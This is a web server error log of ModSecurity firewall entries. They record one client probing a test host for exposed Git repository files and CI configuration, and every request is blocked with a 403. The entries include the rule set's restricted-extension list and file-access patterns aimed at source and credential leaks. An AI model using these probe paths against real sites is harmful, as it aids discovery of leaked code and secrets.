[Fri Mar 13 10:38:48.105026 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects"] [unique_id "abPbKNw5WhVPlcU-Rd0slQAAAAY"]
[Fri Mar 13 10:38:48.105161 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects"] [unique_id "abPbKNw5WhVPlcU-Rd0slQAAAAY"]
[Fri Mar 13 10:38:48.127338 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/commit_editmsg"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "abPbKNw5WhVPlcU-Rd0slgAAAAY"]
[Fri Mar 13 10:38:48.127534 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "abPbKNw5WhVPlcU-Rd0slgAAAAY"]
[Fri Mar 13 10:38:48.127661 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "abPbKNw5WhVPlcU-Rd0slgAAAAY"]
[Fri Mar 13 10:38:48.149868 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/description"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/description"] [unique_id "abPbKNw5WhVPlcU-Rd0slwAAAAY"]
[Fri Mar 13 10:38:48.150063 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/description"] [unique_id "abPbKNw5WhVPlcU-Rd0slwAAAAY"]
[Fri Mar 13 10:38:48.150190 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/description"] [unique_id "abPbKNw5WhVPlcU-Rd0slwAAAAY"]
[Fri Mar 13 10:38:48.172368 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/fetch_head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/FETCH_HEAD"] [unique_id "abPbKNw5WhVPlcU-Rd0smAAAAAY"]
[Fri Mar 13 10:38:48.172566 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/FETCH_HEAD"] [unique_id "abPbKNw5WhVPlcU-Rd0smAAAAAY"]
[Fri Mar 13 10:38:48.172690 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/FETCH_HEAD"] [unique_id "abPbKNw5WhVPlcU-Rd0smAAAAAY"]
[Fri Mar 13 10:38:48.194894 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/orig_head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/ORIG_HEAD"] [unique_id "abPbKNw5WhVPlcU-Rd0smQAAAAY"]
[Fri Mar 13 10:38:48.195106 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/ORIG_HEAD"] [unique_id "abPbKNw5WhVPlcU-Rd0smQAAAAY"]
[Fri Mar 13 10:38:48.195242 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/ORIG_HEAD"] [unique_id "abPbKNw5WhVPlcU-Rd0smQAAAAY"]
[Fri Mar 13 10:38:48.452114 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".gitlab-ci.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "abPbKNw5WhVPlcU-Rd0spAAAAAY"]
[Fri Mar 13 10:38:48.452314 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "abPbKNw5WhVPlcU-Rd0spAAAAAY"]
[Fri Mar 13 10:38:48.452440 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "abPbKNw5WhVPlcU-Rd0spAAAAAY"]
[Fri Mar 13 10:38:48.570660 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "abPbKNw5WhVPlcU-Rd0sqQAAAAY"]
[Fri Mar 13 10:38:48.570893 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "abPbKNw5WhVPlcU-Rd0sqQAAAAY"]
[Fri Mar 13 10:38:48.571048 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "abPbKNw5WhVPlcU-Rd0sqQAAAAY"]
[Fri Mar 13 10:38:48.717281 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-commit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks/pre-commit"] [unique_id "abPbKNw5WhVPlcU-Rd0srwAAAAY"]
[Fri Mar 13 10:38:48.717497 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks/pre-commit"] [unique_id "abPbKNw5WhVPlcU-Rd0srwAAAAY"]
[Fri Mar 13 10:38:48.717665 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks/pre-commit"] [unique_id "abPbKNw5WhVPlcU-Rd0srwAAAAY"]
[Fri Mar 13 10:38:48.740716 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/post-commit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks/post-commit"] [unique_id "abPbKNw5WhVPlcU-Rd0ssAAAAAY"]
[Fri Mar 13 10:38:48.740925 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks/post-commit"] [unique_id "abPbKNw5WhVPlcU-Rd0ssAAAAAY"]
[Fri Mar 13 10:38:48.741067 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks/post-commit"] [unique_id "abPbKNw5WhVPlcU-Rd0ssAAAAAY"]
[Fri Mar 13 10:38:48.763309 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info"] [unique_id "abPbKNw5WhVPlcU-Rd0ssQAAAAY"]
[Fri Mar 13 10:38:48.763564 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info"] [unique_id "abPbKNw5WhVPlcU-Rd0ssQAAAAY"]
[Fri Mar 13 10:38:48.763737 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info"] [unique_id "abPbKNw5WhVPlcU-Rd0ssQAAAAY"]
[Fri Mar 13 10:38:48.786127 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/info"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects/info"] [unique_id "abPbKNw5WhVPlcU-Rd0ssgAAAAY"]
[Fri Mar 13 10:38:48.786331 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects/info"] [unique_id "abPbKNw5WhVPlcU-Rd0ssgAAAAY"]
[Fri Mar 13 10:38:48.786479 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects/info"] [unique_id "abPbKNw5WhVPlcU-Rd0ssgAAAAY"]
[Fri Mar 13 10:38:48.808637 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/pack"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects/pack"] [unique_id "abPbKNw5WhVPlcU-Rd0sswAAAAY"]
[Fri Mar 13 10:38:48.808844 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects/pack"] [unique_id "abPbKNw5WhVPlcU-Rd0sswAAAAY"]
[Fri Mar 13 10:38:48.808970 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects/pack"] [unique_id "abPbKNw5WhVPlcU-Rd0sswAAAAY"]
[Fri Mar 13 10:38:48.831301 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.bak"] [unique_id "abPbKNw5WhVPlcU-Rd0stAAAAAY"]
[Fri Mar 13 10:38:48.831549 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.bak"] [unique_id "abPbKNw5WhVPlcU-Rd0stAAAAAY"]
[Fri Mar 13 10:38:48.831747 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.bak"] [unique_id "abPbKNw5WhVPlcU-Rd0stAAAAAY"]
[Fri Mar 13 10:38:48.831874 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.bak"] [unique_id "abPbKNw5WhVPlcU-Rd0stAAAAAY"]
